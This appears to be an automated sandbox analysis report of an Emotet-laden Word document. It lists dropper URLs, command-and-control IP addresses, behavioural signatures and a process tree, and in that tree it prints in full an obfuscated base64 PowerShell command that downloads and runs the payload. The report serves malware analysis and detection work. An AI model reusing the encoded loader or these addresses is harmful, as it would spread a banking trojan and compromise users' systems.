Overview

overview

10

Static

static

8

14501-2020...13.doc

windows7_x64

10

14501-2020...13.doc

windows10_x64

10

Analysis

  • max time kernel
    68s
  • max time network
    103s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    03/09/2020, 21:28

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    14501-2020_09_04-61313.doc
  • Size 260KB
  • Sample200903-payq7f2bde
  • SHA256 57db4c9dcd57a6d59d1b728b6ada57bf429b28d3b3a3adf0416ed0dc9cf7dd5e
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://alemelektronik.com/wp-admin/A/
  • exe.dropper

    http://asn-espirulina.com/wp-admin/6hU/
  • exe.dropper

    http://accemarbeyal.com/wp-includes/meR/
  • exe.dropper

    http://somosdrucken.com/upload/Wvv/
  • exe.dropper

    http://ballatstone.com/ballatstone.com/Dy0/
  • exe.dropper

    http://marmi.seoper.beget.tech/fonts/Aoa/
  • exe.dropper

    https://aselsa.com/wp-includes/0T/

Extracted

Family

  • emotet

C2

  • 185.215.227.107:443

  • 51.38.124.206:80

  • 38.88.126.202:8080

  • 54.37.42.48:8080

  • 172.104.169.32:8080

  • 68.183.190.199:8080

  • 187.162.248.237:80

  • 82.76.111.249:443

  • 184.66.18.83:80

  • 190.6.193.152:8080

  • 77.238.212.227:80

  • 199.203.62.165:80

  • 188.2.217.94:80

  • 185.94.252.12:80

  • 178.250.54.208:8080

  • 206.15.68.237:443

  • 65.36.62.20:80

  • 216.47.196.104:80

  • 219.92.8.17:8080

  • 213.60.96.117:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\14501-2020_09_04-61313.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1108
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABVAHoAMgBzAGMAXwBxAD0AKAAoACcAWABiADAAJwArACcAYgBoACcAKQArACcAMAAzACcAKQA7ACYAKAAnAG4AZQB3AC0AaQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgB2ADoAVQBzAGUAUgBwAFIATwBGAGkAbABFAFwAWQBxADEARgAwADkATQBcAEkAbgBZAGMAUAA2AFAAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIAZQBDAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBgAEMAVQBSAGkAVAB5AFAAcgBPAFQAYABvAGMATwBsACIAIAA9ACAAKAAoACcAdABsACcAKwAnAHMAJwApACsAKAAnADEAMgAsACcAKwAnACAAdAAnACkAKwAnAGwAJwArACcAcwAnACsAKAAnADEAMQAnACsAJwAsACAAdABsAHMAJwApACkAOwAkAEcAawB2AGEAegB1AF8AIAA9ACAAKAAoACcAQwBwAGMAJwArACcAXwAnACkAKwAoACcAMAB3ACcAKwAnAHQAJwApACkAOwAkAE8ANgBwAHIANwBqAHIAPQAoACcAVwA5ACcAKwAoACcAaQAnACsAJwBhADQAJwApACsAJwBzAHYAJwApADsAJABUADgAawAyADYAdABsAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAoACcAQQAnACsAJwBOADcAJwApACsAJwBZACcAKwAoACcAcQAxAGYAMAAnACsAJwA5AG0AJwApACsAJwBBACcAKwAoACcATgA3ACcAKwAnAEkAbgB5ACcAKQArACgAJwBjACcAKwAnAHAANgBwAEEAJwApACsAJwBOADcAJwApAC4AIgBSAGUAYABwAEwAQQBDAEUAIgAoACgAWwBjAGgAYQByAF0ANgA1ACsAWwBjAGgAYQByAF0ANwA4ACsAWwBjAGgAYQByAF0ANQA1ACkALAAnAFwAJwApACkAKwAkAEcAawB2AGEAegB1AF8AKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABBAHUAagA5ADAAbABoAD0AKAAnAFEAJwArACgAJwBnADAAYQAnACsAJwA0ACcAKwAnAHAAegAnACkAKQA7ACQASQB0AGgAcgBwAG0AMgA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwBiAGoAZQAnACsAJwBjAHQAJwApACAAbgBFAFQALgB3AEUAQgBjAEwAaQBFAG4AVAA7ACQAUwBoADgAaQBtADQAMAA9ACgAKAAnAGgAJwArACcAdAB0AHAAOgAnACkAKwAoACcALwAnACsAJwAvAGEAJwApACsAKAAnAGwAJwArACcAZQBtACcAKQArACgAJwBlAGwAJwArACcAZQAnACkAKwAoACcAawAnACsAJwB0AHIAbwBuACcAKwAnAGkAawAuACcAKwAnAGMAbwAnACkAKwAoACcAbQAvACcAKwAnAHcAcAAtACcAKwAnAGEAZABtAGkAbgAnACkAKwAnAC8AJwArACgAJwBBAC8AKgBoACcAKwAnAHQAJwArACcAdABwADoALwAnACsAJwAvACcAKwAnAGEAcwBuAC0AZQBzAHAAJwApACsAKAAnAGkAcgAnACsAJwB1ACcAKQArACgAJwBsAGkAJwArACcAbgBhAC4AYwBvACcAKwAnAG0ALwB3AHAAJwApACsAJwAtAGEAJwArACgAJwBkAG0AJwArACcAaQAnACkAKwAnAG4ALwAnACsAJwA2AGgAJwArACgAJwBVAC8AKgAnACsAJwBoACcAKQArACcAdAB0ACcAKwAoACcAcAA6AC8ALwBhAGMAYwAnACsAJwBlACcAKwAnAG0AYQAnACkAKwAoACcAcgBiACcAKwAnAGUAeQBhAGwAJwApACsAKAAnAC4AJwArACcAYwBvACcAKwAnAG0ALwB3ACcAKQArACgAJwBwACcAKwAnAC0AaQBuAGMAbAAnACsAJwB1ACcAKQArACcAZABlACcAKwAoACcAcwAvACcAKwAnAG0AZQAnACkAKwAnAFIAJwArACgAJwAvACoAJwArACcAaAB0ACcAKQArACcAdAAnACsAKAAnAHAAOgAnACsAJwAvACcAKQArACgAJwAvAHMAbwAnACsAJwBtACcAKQArACgAJwBvACcAKwAnAHMAZAByAHUAYwBrAGUAJwArACcAbgAuAGMAJwApACsAJwBvAG0AJwArACgAJwAvAHUAcABsAG8AYQAnACsAJwBkACcAKQArACgAJwAvAFcAdgAnACsAJwB2AC8AKgBoAHQAJwArACcAdAAnACkAKwAoACcAcAA6ACcAKwAnAC8ALwBiAGEAJwApACsAKAAnAGwAbABhACcAKwAnAHQAJwApACsAJwBzACcAKwAnAHQAbwAnACsAJwBuAGUAJwArACgAJwAuAGMAbwBtAC8AYgAnACsAJwBhAGwAJwArACcAbABhACcAKwAnAHQAJwApACsAKAAnAHMAdABvAG4AJwArACcAZQAnACkAKwAoACcALgBjAG8AJwArACcAbQAvAEQAeQAwAC8AJwArACcAKgBoACcAKQArACgAJwB0ACcAKwAnAHQAcAA6ACcAKQArACgAJwAvACcAKwAnAC8AbQAnACkAKwAnAGEAcgAnACsAKAAnAG0AaQAuAHMAZQAnACsAJwBvACcAKQArACgAJwBwACcAKwAnAGUAcgAuAGIAJwArACcAZQBnACcAKQArACgAJwBlAHQALgAnACsAJwB0AGUAYwBoACcAKwAnAC8AZgBvAG4AJwApACsAJwB0AHMAJwArACgAJwAvAEEAJwArACcAbwBhAC8AJwArACcAKgBoAHQAdAAnACsAJwBwAHMAJwArACcAOgAvACcAKwAnAC8AYQBzACcAKQArACcAZQBsACcAKwAoACcAcwBhAC4AJwArACcAYwAnACsAJwBvACcAKwAnAG0ALwB3AHAALQBpACcAKQArACcAbgAnACsAKAAnAGMAbAAnACsAJwB1AGQAZQBzAC8AMABUACcAKwAnAC8AJwApACkALgAiAHMAcABgAGwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARQAwADkAaAB1ADAAawA9ACgAJwBPACcAKwAnAHYAaAAnACsAKAAnAGsAJwArACcAMgAyAHkAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABBAGQAYwBfAHEAegAyACAAaQBuACAAJABTAGgAOABpAG0ANAAwACkAewB0AHIAeQB7ACQASQB0AGgAcgBwAG0AMgAuACIARABgAE8AdwBgAE4ATABgAE8AQQBEAEYAaQBMAEUAIgAoACQAQQBkAGMAXwBxAHoAMgAsACAAJABUADgAawAyADYAdABsACkAOwAkAFYAZQBfAHAAbgB3ADUAPQAoACgAJwBSAGMAJwArACcANgAnACkAKwAnAHoAJwArACgAJwBrAHIAJwArACcAdgAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABUADgAawAyADYAdABsACkALgAiAGwARQBOAEcAYABUAGgAIgAgAC0AZwBlACAAMgA4ADcAOAAyACkAIAB7AC4AKAAnAEkAbgAnACsAJwB2ACcAKwAnAG8AawBlAC0ASQB0AGUAbQAnACkAKAAkAFQAOABrADIANgB0AGwAKQA7ACQAQgA1ADYAdQBvAG8AYwA9ACgAKAAnAFAAbgAnACsAJwBvACcAKQArACgAJwBlACcAKwAnADgAdwA2ACcAKQApADsAYgByAGUAYQBrADsAJABKAGcAegBxAGsANQB1AD0AKAAnAFIAdAAnACsAKAAnAHIAZAAnACsAJwB2AG4AJwApACsAJwBkACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVABjAHoAOQA0AGMAcAA9ACgAJwBZACcAKwAoACcAZgAyACcAKwAnAGkAcQAnACkAKwAnAGYAMgAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1800
    • C:\Users\Admin\Yq1f09m\Inycp6p\Cpc_0wt.exe
      "C:\Users\Admin\Yq1f09m\Inycp6p\Cpc_0wt.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:1132
      • C:\Windows\SysWOW64\whealogr\clfsw32.exe
        "C:\Windows\SysWOW64\whealogr\clfsw32.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:588

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/588-22-0x0000000000250000-0x000000000025C000-memory.dmp
        Download

        memory/588-21-0x0000000000240000-0x000000000024D000-memory.dmp
        Download

        memory/900-23-0x000007FEF7770000-0x000007FEF79EA000-memory.dmp
        Download

        memory/1108-2-0x00000000088C0000-0x00000000088C4000-memory.dmp
        Download

        memory/1108-4-0x0000000006F20000-0x0000000007120000-memory.dmp
        Download

        memory/1108-5-0x000000000ACF0000-0x000000000ACF4000-memory.dmp
        Download

        memory/1132-16-0x00000000003C0000-0x00000000003CD000-memory.dmp
        Download

        memory/1132-17-0x00000000003E0000-0x00000000003EC000-memory.dmp
        Download

        memory/1800-13-0x000000001C430000-0x000000001C431000-memory.dmp
        Download

        memory/1800-12-0x000000001C3A0000-0x000000001C3A1000-memory.dmp
        Download

        memory/1800-11-0x0000000002270000-0x0000000002271000-memory.dmp
        Download

        memory/1800-10-0x0000000002400000-0x0000000002401000-memory.dmp
        Download

        memory/1800-9-0x000000001ADC0000-0x000000001ADC1000-memory.dmp
        Download

        memory/1800-8-0x0000000002320000-0x0000000002321000-memory.dmp
        Download

        memory/1800-7-0x000007FEE9200000-0x000007FEE9BEC000-memory.dmp
        Download